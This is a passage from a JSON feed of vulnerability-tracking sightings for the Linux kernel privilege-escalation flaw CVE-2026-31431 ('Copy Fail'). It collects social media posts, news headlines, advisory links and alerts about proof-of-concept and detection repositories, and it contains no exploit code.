"86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://www.cert.si/si-cert-2026-03", "content": "", "creation_timestamp": "2026-05-03T06:49:58.000000Z"}, {"uuid": "5d664502-ae44-4095-b193-dc666160482f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hexonbot.bsky.social/post/3mkxvc2ekuc2p", "content": "AI found a Linux kernel bug in 1 hour. Copy Fail (CVE-2026-31431) gives local users root with 732 bytes of Python and turns containers into escape hatches. https://www.hexon.bot/blog/copy-fail-cve-2026-31431-ai-discovered-linux-root #Linux #Cybersecurity #AI", "creation_timestamp": "2026-05-03T19:28:03.948954Z"}, {"uuid": "7c6ea645-d359-4159-b314-4c5f1619a9f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mkxw63d4ii2h", "content": "Re: CVE-2026-31431: CopyFail: linux local privilege scalation", "creation_timestamp": "2026-05-03T19:43:43.981951Z"}, {"uuid": "b473c541-010a-41b2-881c-ec938fdb119f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82660", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a kaleth4\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-03 18:59:54\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-03T19:00:04.000000Z"}, {"uuid": "9b56cac3-6a4a-49df-acb6-bb6420f0a017", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/technoholic.bsky.social/post/3mkxx5siuvv2o", "content": "CISA adds CVE-2026-31431 (CVSS 7.8), a Linux privilege escalation flaw, to KEV due to active exploitation. Stay updated and patch your systems!", "creation_timestamp": "2026-05-03T20:01:28.490347Z"}, {"uuid": "420b3200-cfc1-4a82-9329-b7ff9b07c4bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mkykugmtvq2h", "content": "Re: Precise disclosure contents for copyfail (Re: [oss-security] CVE-2026-31431: CopyFail: linux local privilege scalation)", "creation_timestamp": "2026-05-04T01:54:09.227573Z"}, {"uuid": "2a8cfaf3-4150-47dc-81fa-77f59a19ac34", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3mkxzsxq6vc26", "content": "CVE-2026-31431: The 732-Byte Script That Renders All Linux Kernel Defenses Since 2017 Obsolete +\u00a0Video\n\nIntroduction: A recently disclosed local privilege escalation (LPE) vulnerability identified as CVE-2026-31431 and codenamed \"Copy Fail\" has sent shockwaves through the cybersecurity community.\u2026", "creation_timestamp": "2026-05-03T20:49:07.050052Z"}, {"uuid": "2966a11d-0af0-4714-86a4-c93c206d8d78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/roberio-batista.bsky.social/post/3mky26vueic2b", "content": "Encontrado pelo Xint Code, a vulnerabilidade de seguran\u00e7a Copy Fail (CVE-2026-31431), foi corrigida no Debian, no Ubuntu, AlmaLinux OS e outras distribui\u00e7\u00f5es populares afetadas por essa falha.\n\nOBS: A descoberta foi feita com o apoio de uma ferramenta de intelig\u00eancia artificial chamada Xint Code.", "creation_timestamp": "2026-05-03T20:55:15.466684Z"}, {"uuid": "aca9c81c-0cf0-4891-b889-5375ad55d089", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82664", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CopyFail-for-dummies\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a ChernStepanov\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a C++\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-03 19:57:38\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nA tiny explanation + PoC for CVE-2026-31431\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-03T20:00:04.000000Z"}, {"uuid": "39f7250e-1190-4124-a316-0cf53ed5ad37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mky376podd22", "content": "Precise disclosure contents for copyfail (Re: [oss-security] CVE-2026-31431: CopyFail: linux local privilege scalation)", "creation_timestamp": "2026-05-03T21:13:50.042397Z"}, {"uuid": "078b3edc-35ed-4f05-a9cb-edda1cadf89b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/ninjaowl.ai/post/3mky644nc6h2w", "content": "CISA Adds Actively Exploited Linux Root Access Bug CVE-2026-31431 to KEV #cybersecurity #hacking #news #infosec #security #technology #privacy thehackernews.com/20...", "creation_timestamp": "2026-05-03T22:05:48.688945Z"}, {"uuid": "fcc825c0-7981-4b0a-934d-6a4f275a6996", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/frei-style.net/post/3mky7o5n4tk23", "content": "If you are talking about CVE-2026-31431 (Copy Fail.) then yes, it was discovered with the help of Theori Xint Code, an AI powered software, by the researcher Taeyang Lee who is working for Theori since 2019. Link to the write up: xint.io/blog/copy-fa...", "creation_timestamp": "2026-05-03T22:33:51.734106Z"}, {"uuid": "291d3b72-507b-4e55-ab51-83677d065e1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://infosec.exchange/users/edwardk/statuses/116513116081777494", "content": "The U.S. Cybersecurity and Infrastructure Security Agency (CISA) has added CVE-2026-31431, a Linux root access bug also known as Copy Fail, to its Known Exploited Vulnerabilities catalog due to active exploitation. This privilege escalation flaw allows unprivileged local users to gain root access by corrupting the kernel's page cache, posing a significant risk to cloud and containerized environments.https://thehackernews.com/2026/05/cisa-adds-actively-exploited-linux-root.html", "creation_timestamp": "2026-05-03T22:57:41.647420Z"}, {"uuid": "49036ce0-967b-4316-a0ee-4c56bb20af9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/icsda.bsky.social/post/3mkydottyfa2m", "content": "\u4f60\u5404\u4f4d\u7684cPanel\u53c8\u88abSorry\u52d2\u7d22\u4e86\u6c92\uff1f\ud83d\ude05 \u5225\u4ee5\u70baLinux\u5c31\u6c92\u4e8b\uff0cCISA\u628a\u90a3\u500bLPE\u6f0f\u6d1e\uff08CVE-2026-31431\uff09\u5217\u5165KEV\u6e05\u55ae\u5566\uff0c\u6839\u6b0a\u8981\u88ab\u596a\u8d70\u4e86\uff01Fortinet 8.0\u9084\u5728\u8b1bAI\u3001\u91cf\u5b50\u5b89\u5168\uff0c\u9019\u901f\u5ea6\u5dee\u6709\u9ede\u591a\u9f41\u3002\u8d95\u5feb\u4fee\uff0c\u4e0d\u7136\u660e\u5929\u5225\u60f3\u898b\u8001\u95c6\uff01 #\u8cc7\u5b89\u8b66\u5831 #Linux #\u52d2\u7d22\u8edf\u9ad4", "creation_timestamp": "2026-05-03T23:45:45.484702Z"}, {"uuid": "7bc6d0df-f3d5-488b-ade6-de2c95a54d8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/qhz-xmRgIk63jLSrK2_FE81USJ0RiYiUMNcM_dhi03aP8g", "content": "", "creation_timestamp": "2026-05-03T23:33:56.000000Z"}, {"uuid": "d5b406fd-020f-4a43-a078-fb4c6c5d4dfe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://threatintel.cc/2026/05/03/cisa-adds-actively-exploited-linux.html", "content": "CISA Adds Actively Exploited Linux Root Access Bug CVE-2026-31431 to KEV\n\nThe U.S. Cybersecurity and Infrastructure Security Agency (CISA) has added CVE-2026-31431, a Linux root access bug also known as Copy Fail, to its Known Exploited Vulnerabilities catalog due to active exploitation. This privilege escalation flaw allows unprivileged local users to gain root access by corrupting the kernel’s page cache, posing a significant risk to cloud and containerized environments.", "creation_timestamp": "2026-05-03T20:57:51.000000Z"}, {"uuid": "9442d0ee-1a92-48a4-b777-bdf3b0b0c44f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hatena-bookmark.bsky.social/post/3mkyiolu2t72y", "content": "#\ud83d\udd16\u30c6\u30af\u30ce\u30ed\u30b8\u30fc\nWSL2+Docker\u74b0\u5883\u306b\u304a\u3051\u308b\u3001CVE-2026-31431 (Copy Fail) \u3078\u306e\u5bfe\u7b56\u30e1\u30e2\n\nTL;DR \u7d50\u8ad6\u304b\u3089\u8a00\u3046\u3068\u3001\u300cDocker\u3092v29.4.2\u4ee5\u964d\u3078\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\uff08\u6052\u4e45\u7684\uff09\u300d\u3068\u300c.wslconfig\u306b\u3088\u308balgif_aead\u306e\u7121\u52b9\u5316\uff08\u66ab\u5b9a\u7684\uff09\u300d\u306e2\u6bb5\u69cb\u3048\u304c\u73fe\u72b6\u306e\u6700\u9069\u89e3\u3067\u3059\u3002 \u306f\u3058\u3081\u306b Linux\u30ab\u30fc\u30cd\u30eb\u306e\u6a29\u9650\u6607\u683c\u8106\u5f31\u6027\u300cCopy Fail\uff08CVE-2026-31431\uff09\u300d\u304c\u3001GW\u771f\u3063\u53ea\u4e2d\u306e\u4e16\u9593\u3092\u9a12\u304c\u305b\u3066\u3044\u307e\u3059\u3002 \u30ed\u30fc\u30ab\u30eb\u30e6\u30fc\u30b6\u30fc\u304c\u5bb9\u6613\u306broo\nhttps://zenn.dev/user_thebigslee/articles/41b570658f911b", "creation_timestamp": "2026-05-04T01:15:06.452468Z"}, {"uuid": "ae7b2bc8-a67f-41bb-a297-7551335973b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mkyklgfls62x", "content": "Re: Precise disclosure contents for copyfail (Re: [oss-security] CVE-2026-31431: CopyFail: linux local privilege scalation)", "creation_timestamp": "2026-05-04T01:49:06.736872Z"}, {"uuid": "3fbc1200-d904-4bb8-bf23-99ed68d8282a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/aimainainnu.bsky.social/post/3mkynce7sok2d", "content": "\u300cCopy Fail\u300dLinux \u30d0\u30b0\uff1a732\u30d0\u30a4\u30c8\u306e\u30b9\u30af\u30ea\u30d7\u30c8\u30672017\u5e74\u4ee5\u964d\u306e\u307b\u307c\u3059\u3079\u3066\u306e\u30c7\u30a3\u30b9\u30c8\u30ea\u30d3\u30e5\u30fc\u30b7\u30e7\u30f3\u306b\u3066 root \u6a29\u9650\u306e\u53d6\u5f97\u304c\u53ef\u80fd\u306b - BigGo \u30cb\u30e5\u30fc\u30b9 \n\nLinux \u30ab\u30fc\u30cd\u30eb\u306b\u304a\u3051\u308b\u300cCopy Fail\u300d\u3068\u547d\u540d\u3055\u308c\u305f CVE-2026-31431 \u3068\u3044\u3046\u6df1\u523b\u306a\u8ad6\u7406\u30d9\u30fc\u30b9\u306e\u8106\u5f31\u6027\u306f\u3001\u30aa\u30fc\u30d7\u30f3\u30bd\u30fc\u30b9\u304a\u3088\u3073\u30af\u30e9\u30a6\u30c9\u30b3\u30f3\u30d4\u30e5\u30fc\u30c6\u30a3\u30f3\u30b0\u306e ... \nbiggo.jp/news/2026050...", "creation_timestamp": "2026-05-04T02:37:48.394653Z"}, {"uuid": "e603fb90-d509-4758-8601-597c6cf875d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/opsmatters.com/post/3mkyqmzp7ep2q", "content": "The latest update for #Mendit includes \"PhantomRaven Wave 5: New Undocumented NPM #SupplyChain Campaign Targets DeFi, #Cloud, and AI Developers\" and \"CVE-2026-31431 (Copy Fail): #Linux Kernel LPE\".\n \n#CyberSecurity #DevOps #OpenSource #Compliance https://opsmtrs.com/3zEYo7d", "creation_timestamp": "2026-05-04T03:37:22.796226Z"}, {"uuid": "3c8d5a7e-6492-4932-b97c-3dbcb69fcaa6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/ytroncal.bsky.social/post/3mkysl5ppik2h", "content": "Copy Fail (CVE-2026-31431) : Synth\u00e8se technique sur cette faille Linux www.linuxtricks.fr/news/10-logi...", "creation_timestamp": "2026-05-04T04:12:09.994475Z"}, {"uuid": "43a3e76b-c0b3-4dd7-9c46-b7a484cc009a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/c3iq.bsky.social/post/3mkyue4wbfs2a", "content": "Some have suggested that CVE-2026-31431 is a backdoor. What if all the backdoors are found?", "creation_timestamp": "2026-05-04T04:43:58.863859Z"}, {"uuid": "4520e360-cdef-4179-b247-11bc927c9385", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mkywi2vkq22g", "content": "CISA Adds Actively Exploited Linux Root Access Bug CVE-2026-31431 to KEV\n\nThe U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Friday added a recently disclosed security flaw impacting various Linux distributions to its Known Exploited Vulnerabilities (KEV) catalog,\u2026\n#hackernews #news", "creation_timestamp": "2026-05-04T05:21:59.110757Z"}, {"uuid": "32cc9e20-180d-4078-b811-0e39e1c2b9cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/qnap-nas-elevation-of-privilege-vulnerability_20260504", "content": "", "creation_timestamp": "2026-05-03T18:00:00.000000Z"}, {"uuid": "1d575e09-9337-4b9e-a455-e495ecaacdf1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/82704", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a BigFix-CopyFail-AlmaLinux-Content\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a kvendler\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-04 03:56:29\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nThis repository contains BigFix Content that I created for identifying the AlmaLinux systems that require patching to remediate CVE-2026-31431\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-04T04:00:04.000000Z"}, {"uuid": "5e3f6d25-6f47-486e-bd75-2036dde3520e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/tech-trending.bsky.social/post/3mkyypu7ozc2r", "content": "WSL2+Docker\u74b0\u5883\u306b\u304a\u3051\u308b\u3001CVE-2026-31431 (Copy Fail) \u3078\u306e\u5bfe\u7b56\u30e1\u30e2\nhttps://zenn.dev/user_thebigslee/articles/41b570658f911b", "creation_timestamp": "2026-05-04T06:02:09.178034Z"}, {"uuid": "5c5364eb-9cc5-4828-9ce0-dfd9d4a070ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/reconbee.bsky.social/post/3mkyyzso4ms2g", "content": "CISA Adds Actively Exploited Linux Root Access Bug CVE-2026-31431 to KEV reconbee.com/cisa-adds-ac...\n\n#CISA #linuxrootaccess #CVE #Linuxroot #cyberattack", "creation_timestamp": "2026-05-04T06:07:46.145954Z"}, {"uuid": "0d768853-e76f-4256-ac1d-782a835adda5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/pvynckier.bsky.social/post/3mkyzhcacfs2f", "content": "CISA Adds Actively Exploited Linux Root Access Bug CVE-2026-31431 to KEV thehackernews.com/2026/05/cisa...", "creation_timestamp": "2026-05-04T06:15:47.509227Z"}, {"uuid": "3385142c-2387-4d73-8456-0b2794029c5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82725", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a copy-fail-CVE-2026-31431-detection-probe\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a ochebotar\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-04 05:58:51\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-04T06:00:04.000000Z"}, {"uuid": "9ed986f3-df9f-43d1-8a65-03441f88a57a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/mmmmmmpc.bsky.social/post/3mkz4o5vflk2j", "content": "Please Read: @suse.com response to #copyfail CVE-2026-31431 vulnerability:\n* It affects from SLES 12 SP5 to SLES 16\n* It affects Muti-Linux Support 8, 9 and 10\n* Patches have been released by SUSE Engineering\nPlease Patch!\nwww.suse.com/c/suse-respo...", "creation_timestamp": "2026-05-04T07:12:46.775184Z"}, {"uuid": "794c70b1-9496-409f-adbb-d9657f01850d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/samuelvermeulenpro.bsky.social/post/3mkz4soqgbg2e", "content": "#ActuLibre - Copy Fail (CVE-2026-31431) : Synth\u00e8se technique sur cette faille Linux \u00e0 lire sur\nhttps://www.linuxtricks.fr/news/10-logiciels-libres/600-copy-fail-cve-2026-31431-synthese-technique-sur-cette-faille-linux/", "creation_timestamp": "2026-05-04T07:15:18.875973Z"}, {"uuid": "91f2ac63-a47d-4fce-a731-8b81c2ca307b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2026-31431", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/3e01e7d3-c2be-4035-865c-115c5aef1b92", "content": "", "creation_timestamp": "2026-05-04T07:19:37.256007Z"}, {"uuid": "3ceffd20-c9ae-42fb-8598-2dacaa09812e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/adriend.linuxtricks.fr/post/3mkz75n7g4s2s", "content": "Apr\u00e8s la vid\u00e9o sur la faille Copy Fail (CVE-2026-31431), je vous propose cette fois-ci une analyse technique EN FRANCAIS ! (car ce type de contenu manque)\nJ'y ai pass\u00e9 mon dimanche matin !\nClin d'oeil \u00e0 @ponceto91.bsky.social et @korben.info \nwww.linuxtricks.fr/news/10-logi...\n\n#CopyFail #Linux", "creation_timestamp": "2026-05-04T07:57:13.728945Z"}, {"uuid": "bb0e9a66-aa47-4ae8-a5a5-f331db331830", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://ioc.exchange/users/sbeyer/statuses/116515265697196856", "content": "60 Sekunden Cyber KW18 2026, 27. April - 3. Mai:\nDaten von Kunden und Benutzern von Vimeo werden von der Gruppierung ShinyHunters ins Dark Net gestellt, Sicherheitsforscher finden mit Copy Fail eine seit 2017 (!) bestehende Schwachstelle (CVE-2026-31431), mit der man root-Zugriff auf allen bekannteren Linux-Distributionen erhalten kann, das NGO noyb klagt gegen die Hamburger https://podcasters.spotify.com/pod/show/60-sekunden-cyber/episodes/KW18-2026--27--April---3--Mai-e3ir1h5", "creation_timestamp": "2026-05-04T08:04:31.036122Z"}, {"uuid": "1bb3387c-8918-4b42-a7ed-8e35402300e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/r-blueteamsec.bsky.social/post/3mkzbjd4tlm2b", "content": "CVE-2026-31431\uff1a\u6211\u7528 DeepSeek \u590d\u73b0\u4e86 AI \u53d1\u73b0Copy Fail \u63d0\u6743\u7684\u5168\u8fc7\u7a0b - CVE-2026-31431: I used DeepSeek to reproduce the entire process of AI detecting Copy Fail privilege escalation.", "creation_timestamp": "2026-05-04T08:39:32.618452Z"}, {"uuid": "0c85ec5b-4449-4e06-b5b0-d00226bf3fc9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/ronan.mastodon.ronandev.ovh.ap.brid.gy/post/3mkzekczzhrd2", "content": "https://security-tracker.debian.org/tracker/CVE-2026-31431\n\n\u00ab In the Linux kernel, the following vulnerability has been resolved: crypto: algif_aead - Revert to operating out-of-place This mostly reverts commit 72548b093ee3 except for the copying of the associated data. There is no benefit in [\u2026]", "creation_timestamp": "2026-05-04T09:36:43.160111Z"}, {"uuid": "6a7db408-7251-4e71-9200-1feed75e6d10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/T6MjwEy1GXd0xTLgBckUymGQqfeNIMlbkOpXvJPPSDtMl2M", "content": "", "creation_timestamp": "2026-05-03T15:00:06.000000Z"}, {"uuid": "c10078df-a913-4e2d-9bf1-b73b610760f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/se-nyheter.bsky.social/post/3mkzf6oblyq2a", "content": "Kritisk s\u00e5rbarhet utg\u00f6r ett hot mot Linux-anv\u00e4ndare\n\nhttps://www.europesays.com/se/236328/\n\nS\u00e4kerhetsforskare varnar f\u00f6r Copy Fail (CVE-2026-31431), en kritisk s\u00e5rbarhet som utg\u00f6r ett hot mot anv\u00e4ndare som k\u00f6r ett\u2026", "creation_timestamp": "2026-05-04T09:45:09.977462Z"}, {"uuid": "01f93a89-1924-427e-bfa4-15e7acca5f0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://ioc.exchange/users/sbeyer/statuses/116515712091156433", "content": "60 Sekunden Cyber KW18 2026, 27. April - 3. Mai:\nDaten von Kunden und Benutzern von Vimeo werden von der Gruppierung ShinyHunters ins Dark Net gestellt, Sicherheitsforscher finden mit Copy Fail eine seit 2017 (!) bestehende Schwachstelle (CVE-2026-31431), mit der man root-Zugriff auf allen bekannteren Linux-Distributionen erhalten kann, das NGO noyb klagt gegen die Hamburger Datenschutzbeh\u00f6rde wegen Unt\u00e4\nhttps://www.60-sekunden-cyber.de/kw18-2026/\n#cyber #cybersicherheit", "creation_timestamp": "2026-05-04T09:57:53.725787Z"}, {"uuid": "960dd99c-c976-4ca6-bdf9-149c5625e4a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/bitralix.com/post/3mkzcvi4sff2j", "content": "\ud83d\udea8 La CVE-2026-31431 es una vulnerabilidad cr\u00edtica en Linux que exige una respuesta r\u00e1pida, sobre todo en hosting y servidores\n\n\u2705 En Bitralix hemos preparado un an\u00e1lisis con contexto, mitigaci\u00f3n y una minigu\u00eda para Ubuntu:\nbitralix.es/eqygy\n\n#Bitralix #CVE202631431 #Linux #Hosting #Ubuntu #Seguridad", "creation_timestamp": "2026-05-04T09:04:14.398721Z"}, {"uuid": "fa60b8a3-e1f2-4fed-841e-8849c2ad2c55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", 